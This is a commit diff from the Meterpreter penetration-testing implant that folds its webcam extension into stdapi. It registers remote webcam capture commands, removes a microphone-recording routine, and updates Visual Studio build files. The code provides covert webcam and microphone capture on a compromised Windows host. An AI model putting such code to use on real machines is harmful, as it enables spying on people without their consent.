Merge webcam extension into stdapi.

git-svn-id: file:///home/svn/framework3/trunk@10997 4d416f70-5f16-0410-b530-b9f4589650da

c/meterpreter/source/extensions/stdapi/server/precomp.h

@@ -64,6 +64,7 @@
 #include "sys/sys.h"
 #include "net/net.h"
 #include "ui/ui.h"
+#include "webcam/webcam.h"
 
 #ifdef _WIN32
  #include "railgun/railgun.h"	// PKS, win32 specific at the moment.

c/meterpreter/source/extensions/stdapi/server/stdapi.c

@@ -379,6 +379,28 @@ Command customCommands[] =
 	  { request_sys_power_exitwindows,                     { 0 }, 0 },
 	  { EMPTY_DISPATCH_HANDLER                                      },
 	},
+
+	// Webcam
+	{ "webcam_list",
+	  { request_webcam_list,                               { 0 }, 0 },
+	  { EMPTY_DISPATCH_HANDLER                                      },
+	},
+
+	{ "webcam_start",
+	  { request_webcam_start,                              { 0 }, 0 },
+	  { EMPTY_DISPATCH_HANDLER                                      },
+	},
+
+	{ "webcam_get_frame",
+	  { request_webcam_get_frame,                          { 0 }, 0 },
+	  { EMPTY_DISPATCH_HANDLER                                      },
+	},
+
+	{ "webcam_stop",
+	  { request_webcam_stop,                               { 0 }, 0 },
+	  { EMPTY_DISPATCH_HANDLER                                      },
+	},
+
 #endif
 	// Terminator
 	{ NULL,

c/meterpreter/source/extensions/stdapi/server/webcam/bmp2jpeg.c

@@ -1,6 +1,7 @@
 #define WIN32_LEAN_AND_MEAN
 #include <windows.h>
 #include "bmp2jpeg.h"
+#pragma comment(lib, "jpeg.lib")
 
 /* 
  * Please Note: bmp2jpeg.c and bmp2jpeg.h have been coppied over from screen.c

c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp

@@ -1,12 +1,14 @@
 //This software is based on Touchless, which is released under the Microsoft Public License (Ms-PL) 
+#ifdef CINTERFACE
+#undef CINTERFACE
+#endif
 #define WIN32_LEAN_AND_MEAN
 #include <windows.h>
 #include <dshow.h>
 #pragma comment(lib, "strmiids")
 extern "C" {
 #include "../../common/common.h"
-#include "main.h"
+#include "webcam.h"
-#include "video.h"
 #include "bmp2jpeg.h"
 }
 

c/meterpreter/source/extensions/stdapi/server/webcam/webcam.h

@@ -1,5 +1,5 @@
-#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_WEBCAM_H
+#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
-#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_WEBCAM_H
+#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
 
 #define TLV_TYPE_EXTENSION_WEBCAM	0
 
@@ -27,10 +27,8 @@
 				TLV_TYPE_EXTENSION_WEBCAM,	\
 				TLV_EXTENSIONS + 4)
 
-#define TLV_TYPE_WEBCAM_SOUND				\
+DWORD request_webcam_list(Remote *remote, Packet *packet);
-		MAKE_CUSTOM_TLV(					\
+DWORD request_webcam_start(Remote *remote, Packet *packet);
-				TLV_META_TYPE_RAW,			\
+DWORD request_webcam_get_frame(Remote *remote, Packet *packet);
-				TLV_TYPE_EXTENSION_WEBCAM,	\
+DWORD request_webcam_stop(Remote *remote, Packet *packet);
-				TLV_EXTENSIONS + 5)
-
 #endif

c/meterpreter/source/extensions/webcam/audio.c

@@ -1,107 +0,0 @@
-#define _CRT_SECURE_NO_DEPRECATE 1
-#include "../../common/common.h"
-#include <stdio.h>
-#include <windows.h>
-#include <tchar.h>
-#include <string.h>
-#include <stdlib.h>
-#include <malloc.h>
-#include "webcam.h"
-
-
-#pragma comment(lib, "vfw32.lib")
-#pragma comment(lib, "winmm.lib")
-
-#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0)
-
-BOOL capmicaudio(char *szFile, int millisecs) 
-{
-	UINT wDeviceID;
-    DWORD dwReturn;
-    MCI_OPEN_PARMS mciOpenParms;
-    MCI_RECORD_PARMS mciRecordParms;
-    MCI_SAVE_PARMS mciSaveParms;
-    MCI_PLAY_PARMS mciPlayParms;
-	DWORD dwMilliSeconds;
-
-	dwMilliSeconds = millisecs;
-
-    // Open a waveform-audio device with a new file for recording.
-    mciOpenParms.lpstrDeviceType = "waveaudio";
-    mciOpenParms.lpstrElementName = "";
-    if (dwReturn = mciSendCommand(0, MCI_OPEN,MCI_OPEN_ELEMENT | MCI_OPEN_TYPE,(DWORD)(LPVOID) &mciOpenParms))
-    {
-        // Failed to open device; don't close it, just return error.
-        return (dwReturn);
-    }
-
-    // The device opened successfully; get the device ID.
-    wDeviceID = mciOpenParms.wDeviceID;
-
-    mciRecordParms.dwTo = dwMilliSeconds;
-    if (dwReturn = mciSendCommand(wDeviceID, MCI_RECORD, 
-        MCI_TO | MCI_WAIT, (DWORD)(LPVOID) &mciRecordParms))
-    {
-        mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0 );
-        return (dwReturn);
-    }
-
-    // Play the recording and query user to save the file.
-    mciPlayParms.dwFrom = 0L;
-    
-    // Save the recording to a file. Wait for
-    // the operation to complete before continuing.
-	mciSaveParms.lpfilename = szFile;
-    if (dwReturn = mciSendCommand(wDeviceID, MCI_SAVE, MCI_SAVE_FILE | MCI_WAIT, (DWORD)(LPVOID) &mciSaveParms))
-    {
-        mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0 );
-        return (dwReturn);
-    }
-
-    return (0L);
-}
-
-
-
-
-int __declspec(dllexport) controlmic(char **waveresults, int msecs) {
-	DWORD dwError = 0;
-	char *wavestring = NULL;
-
-	/* METERPRETER CODE */
-	// char buffer[100];
-	/* END METERPRETER CODE */
-
-	capmicaudio("C:\\test.wav", msecs);
-
-	*waveresults = wavestring;
-
-	/* return the correct code */
-	return dwError;
-}
-
-
-/*
- * Grabs the audio from mic.
- */
-DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet)
-{
-	Packet *response = packet_create_response(packet);
-	DWORD res = ERROR_SUCCESS;
-	char *wave = NULL;
-
-	if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME)))
-	{
-		res = GetLastError();
-	}
-
-	//packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave);
-
-
-	packet_transmit_response(res, remote, response);
-
-	if (wave)
-	free(wave);
-
-	return res;
-}

c/meterpreter/source/extensions/webcam/audio.h

@@ -1,6 +0,0 @@
-#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H
-#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H
-
-DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet);
-
-#endif

c/meterpreter/source/extensions/webcam/main.c

@@ -1,88 +0,0 @@
-/*
- * This module implements webcam capture and mic recording features. 
- */
-#define _CRT_SECURE_NO_DEPRECATE 1
-#include "../../common/common.h"
-#include "main.h"
-//#include "audio.h"
-#include "video.h"
-
-
-#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
-// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
-// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the 
-// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
-#include "../../ReflectiveDLLInjection/ReflectiveLoader.c"
-
-// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
-
-// this sets the delay load hook function, see DelayLoadMetSrv.h
-EnableDelayLoadMetSrv();
-
-Command customCommands[] =
-{
-	// Video
-	{ "webcam_list",
-	  { request_webcam_list,                     { 0 }, 0 },
-	  { EMPTY_DISPATCH_HANDLER                                      },
-	},
-
-	{ "webcam_start",
-	  { request_webcam_start,                     { 0 }, 0 },
-	  { EMPTY_DISPATCH_HANDLER                                      },
-	},
-
-	{ "webcam_get_frame",
-	  { request_webcam_get_frame,                     { 0 }, 0 },
-	  { EMPTY_DISPATCH_HANDLER                                      },
-	},
-
-	{ "webcam_stop",
-	  { request_webcam_stop,                     { 0 }, 0 },
-	  { EMPTY_DISPATCH_HANDLER                                      },
-	},
-
-	// Audio
-//	{ "webcam_audio_get_dev_audio",
-//	  { request_audio_get_dev_audio,                     { 0 }, 0 },
-//	  { EMPTY_DISPATCH_HANDLER                                      },
-//	},
-
-	// Terminator
-	{ NULL,
-	  { EMPTY_DISPATCH_HANDLER                      },
-	  { EMPTY_DISPATCH_HANDLER                      },
-	},
-};
-
-/*
- * Initialize the server extension
- */
-DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
-{
-	DWORD index;
-
-	hMetSrv = remote->hMetSrv;
-
-	for (index = 0;
-	     customCommands[index].method;
-	     index++)
-		command_register(&customCommands[index]);
-
-	return ERROR_SUCCESS;
-}
-
-/*
- * Deinitialize the server extension
- */
-DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
-{
-	DWORD index;
-
-	for (index = 0;
-	     customCommands[index].method;
-	     index++)
-		command_deregister(&customCommands[index]);
-
-	return ERROR_SUCCESS;
-}

c/meterpreter/source/extensions/webcam/video.h

@@ -1,7 +0,0 @@
-#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
-#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
-DWORD request_webcam_list(Remote *remote, Packet *packet);
-DWORD request_webcam_start(Remote *remote, Packet *packet);
-DWORD request_webcam_get_frame(Remote *remote, Packet *packet);
-DWORD request_webcam_stop(Remote *remote, Packet *packet);
-#endif

c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcproj

@@ -251,7 +251,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="2"
 				InlineFunctionExpansion="1"
-				AdditionalIncludeDirectories="..\..\source\extensions\stdapi\server;..\..\source\openssl\include"
+				AdditionalIncludeDirectories="..\..\source\extensions\stdapi\server;..\..\source\openssl\include;..\..\source\jpeg-8"
 				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;CINTERFACE;COBJMACROS"
 				StringPooling="true"
 				RuntimeLibrary="0"
@@ -279,11 +279,11 @@
 			/>
 			<Tool
 				Name="VCLinkerTool"
-				AdditionalDependencies="iphlpapi.lib shlwapi.lib ws2_32.lib odbc32.lib odbccp32.lib metsrv.lib"
+				AdditionalDependencies="iphlpapi.lib shlwapi.lib ws2_32.lib odbc32.lib odbccp32.lib metsrv.lib jpeg.lib"
 				OutputFile=".\Release\ext_server_stdapi.dll"
 				LinkIncremental="1"
 				SuppressStartupBanner="true"
-				AdditionalLibraryDirectories="..\metsrv\Release;..\..\source\openssl\lib\win"
+				AdditionalLibraryDirectories="..\metsrv\Release;..\..\source\openssl\lib\win;&quot;..\..\source\jpeg-8\lib\win\x86&quot;"
 				GenerateManifest="false"
 				DelayLoadDLLs="metsrv.dll"
 				GenerateMapFile="true"
@@ -353,7 +353,7 @@
 				Name="VCCLCompilerTool"
 				Optimization="2"
 				InlineFunctionExpansion="1"
-				AdditionalIncludeDirectories="..\..\source\extensions\stdapi\server;..\..\source\openssl\include"
+				AdditionalIncludeDirectories="..\..\source\extensions\stdapi\server;..\..\source\openssl\include;..\..\source\jpeg-8"
 				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_SYS_EXPORTS;_CRT_SECURE_NO_WARNINGS;CINTERFACE;COBJMACROS"
 				StringPooling="true"
 				RuntimeLibrary="0"
@@ -385,7 +385,7 @@
 				OutputFile=".\Release\ext_server_stdapi.x64.dll"
 				LinkIncremental="1"
 				SuppressStartupBanner="true"
-				AdditionalLibraryDirectories="..\metsrv\Release;..\..\source\openssl\lib\win"
+				AdditionalLibraryDirectories="..\..\source\jpeg-8\lib\win\x64;..\metsrv\Release;..\..\source\openssl\lib\win"
 				GenerateManifest="false"
 				DelayLoadDLLs="metsrv.dll"
 				GenerateMapFile="true"
@@ -1468,6 +1468,58 @@
 					>
 				</File>
 			</Filter>
+			<Filter
+				Name="webcam"
+				>
+				<File
+					RelativePath="..\..\source\extensions\stdapi\server\webcam\bmp2jpeg.c"
+					>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+						/>
+					</FileConfiguration>
+				</File>
+				<File
+					RelativePath="..\..\source\extensions\stdapi\server\webcam\webcam.cpp"
+					>
+					<FileConfiguration
+						Name="Debug|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|Win32"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							UsePrecompiledHeader="0"
+						/>
+					</FileConfiguration>
+				</File>
+			</Filter>
 		</Filter>
 		<Filter
 			Name="Header Files"
@@ -1500,18 +1552,6 @@
 					</File>
 				</Filter>
 			</Filter>
-			<Filter
-				Name="fs"
-				>
-				<File
-					RelativePath="..\..\source\extensions\stdapi\server\fs\fs.h"
-					>
-				</File>
-				<File
-					RelativePath="..\..\source\extensions\stdapi\server\fs\search.h"
-					>
-				</File>
-			</Filter>
 			<Filter
 				Name="sys"
 				>
@@ -1580,6 +1620,30 @@
 					>
 				</File>
 			</Filter>
+			<Filter
+				Name="webcam"
+				>
+				<File
+					RelativePath="..\..\source\extensions\stdapi\server\webcam\bmp2jpeg.h"
+					>
+				</File>
+				<File
+					RelativePath="..\..\source\extensions\stdapi\server\webcam\webcam.h"
+					>
+				</File>
+			</Filter>
+			<Filter
+				Name="fs"
+				>
+				<File
+					RelativePath="..\..\source\extensions\stdapi\server\fs\fs.h"
+					>
+				</File>
+				<File
+					RelativePath="..\..\source\extensions\stdapi\server\fs\search.h"
+					>
+				</File>
+			</Filter>
 		</Filter>
 		<File
 			RelativePath="..\..\source\extensions\stdapi\server\resource\hook.dll"

c/meterpreter/workspace/ext_server_webcam/ext_server_webcam.vcproj

@@ -1,398 +0,0 @@
-<?xml version="1.0" encoding="Windows-1252"?>
-<VisualStudioProject
-	ProjectType="Visual C++"
-	Version="9.00"
-	Name="ext_server_webcam"
-	ProjectGUID="{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}"
-	RootNamespace="ext_server_webcam"
-	Keyword="Win32Proj"
-	TargetFrameworkVersion="196613"
-	>
-	<Platforms>
-		<Platform
-			Name="Win32"
-		/>
-		<Platform
-			Name="x64"
-		/>
-	</Platforms>
-	<ToolFiles>
-	</ToolFiles>
-	<Configurations>
-		<Configuration
-			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				AdditionalIncludeDirectories="..\..\source\openssl\include"
-				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="2"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				DebugInformationFormat="4"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalOptions="netapi32.lib mpr.lib"
-				LinkIncremental="2"
-				GenerateDebugInformation="true"
-				SubSystem="2"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|Win32"
-			OutputDirectory=".\Release"
-			IntermediateDirectory=".\Release"
-			ConfigurationType="2"
-			CharacterSet="2"
-			WholeProgramOptimization="0"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="2"
-				InlineFunctionExpansion="1"
-				EnableIntrinsicFunctions="false"
-				AdditionalIncludeDirectories="..\..\source\extensions\webcam;..\..\source\openssl\include;..\..\source\jpeg-8"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS"
-				StringPooling="true"
-				RuntimeLibrary="0"
-				EnableFunctionLevelLinking="true"
-				UsePrecompiledHeader="0"
-				AssemblerListingLocation=".\Release/"
-				ObjectFile=".\Release/"
-				ProgramDataBaseFileName=".\Release/"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="Netapi32.lib Mpr.lib metsrv.lib jpeg.lib"
-				OutputFile=".\Release/ext_server_webcam.dll"
-				LinkIncremental="1"
-				AdditionalLibraryDirectories="..\metsrv\Release;..\..\source\openssl\lib\win;&quot;..\..\source\jpeg-8\lib\win\x86&quot;"
-				GenerateManifest="false"
-				IgnoreAllDefaultLibraries="false"
-				IgnoreDefaultLibraryNames=""
-				DelayLoadDLLs="metsrv.dll"
-				GenerateDebugInformation="false"
-				GenerateMapFile="true"
-				MapFileName=".\Release/ext_server_webcam.map"
-				SubSystem="0"
-				OptimizeReferences="0"
-				EnableCOMDATFolding="0"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="0"
-				ImportLibrary=".\Release/ext_server_webcam.lib"
-				TargetMachine="1"
-				Profile="false"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-				CommandLine="copy /y &quot;$(ProjectDir)\release\ext_server_webcam.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Debug|x64"
-			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
-			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-				TargetEnvironment="3"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="2"
-				UsePrecompiledHeader="0"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalOptions="netapi32.lib mpr.lib"
-				LinkIncremental="2"
-				GenerateDebugInformation="true"
-				SubSystem="2"
-				TargetMachine="17"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|x64"
-			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
-			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
-			ConfigurationType="2"
-			CharacterSet="2"
-			WholeProgramOptimization="0"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-				TargetEnvironment="3"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="2"
-				InlineFunctionExpansion="1"
-				EnableIntrinsicFunctions="false"
-				AdditionalIncludeDirectories="..\..\source\extensions\webcam;..\..\source\openssl\include;&quot;..\..\source\jpeg-8&quot;"
-				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS"
-				StringPooling="true"
-				RuntimeLibrary="0"
-				EnableFunctionLevelLinking="true"
-				UsePrecompiledHeader="0"
-				AssemblerListingLocation=".\Release/"
-				ObjectFile=".\Release/"
-				ProgramDataBaseFileName=".\Release/"
-				WarningLevel="3"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				AdditionalDependencies="Netapi32.lib Mpr.lib metsrv.lib jpeg.lib"
-				OutputFile=".\Release\ext_server_webcam.x64.dll"
-				LinkIncremental="1"
-				AdditionalLibraryDirectories="..\metsrv\Release;..\..\source\openssl\lib\win;&quot;..\..\source\jpeg-8\lib\win\x64&quot;"
-				GenerateManifest="false"
-				DelayLoadDLLs="metsrv.dll"
-				GenerateDebugInformation="false"
-				GenerateMapFile="true"
-				MapFileName=".\Release/ext_server_webcam.map"
-				SubSystem="0"
-				OptimizeReferences="0"
-				EnableCOMDATFolding="0"
-				RandomizedBaseAddress="1"
-				DataExecutionPrevention="0"
-				ImportLibrary=".\Release/ext_server_webcam.lib"
-				TargetMachine="17"
-				Profile="false"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-				CommandLine="copy /y &quot;$(ProjectDir)\release\ext_server_webcam.x64.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
-			/>
-		</Configuration>
-	</Configurations>
-	<References>
-	</References>
-	<Files>
-		<Filter
-			Name="Source Files"
-			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
-			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
-			>
-			<File
-				RelativePath="..\..\source\extensions\webcam\bmp2jpeg.c"
-				>
-			</File>
-			<File
-				RelativePath="..\..\source\extensions\webcam\main.c"
-				>
-			</File>
-			<File
-				RelativePath="..\..\source\extensions\webcam\video.cpp"
-				>
-			</File>
-		</Filter>
-		<Filter
-			Name="Header Files"
-			Filter="h;hpp;hxx;hm;inl;inc;xsd"
-			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
-			>
-			<File
-				RelativePath="..\..\source\extensions\webcam\bmp2jpeg.h"
-				>
-			</File>
-			<File
-				RelativePath="..\..\source\extensions\webcam\main.h"
-				>
-			</File>
-			<File
-				RelativePath="..\..\source\extensions\webcam\video.h"
-				>
-			</File>
-		</Filter>
-	</Files>
-	<Globals>
-	</Globals>
-</VisualStudioProject>

c/meterpreter/workspace/meterpreter.sln

@@ -67,12 +67,6 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "screenshot", "screenshot\sc
 		{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
 	EndProjectSection
 EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_webcam", "ext_server_webcam\ext_server_webcam.vcproj", "{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}"
-	ProjectSection(ProjectDependencies) = postProject
-		{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} = {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}
-		{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
-	EndProjectSection
-EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
 		Debug|Win32 = Debug|Win32
@@ -174,12 +168,6 @@ Global
 		{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|Win32.Build.0 = Release|Win32
 		{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.ActiveCfg = Release|x64
 		{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.Build.0 = Release|x64
-		{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|Win32.ActiveCfg = Debug|Win32
-		{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|Win32.Build.0 = Debug|Win32
-		{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|x64.ActiveCfg = Debug|Win32
-		{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|Win32.ActiveCfg = Release|Win32
-		{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|Win32.Build.0 = Release|Win32
-		{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|x64.ActiveCfg = Release|Win32
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE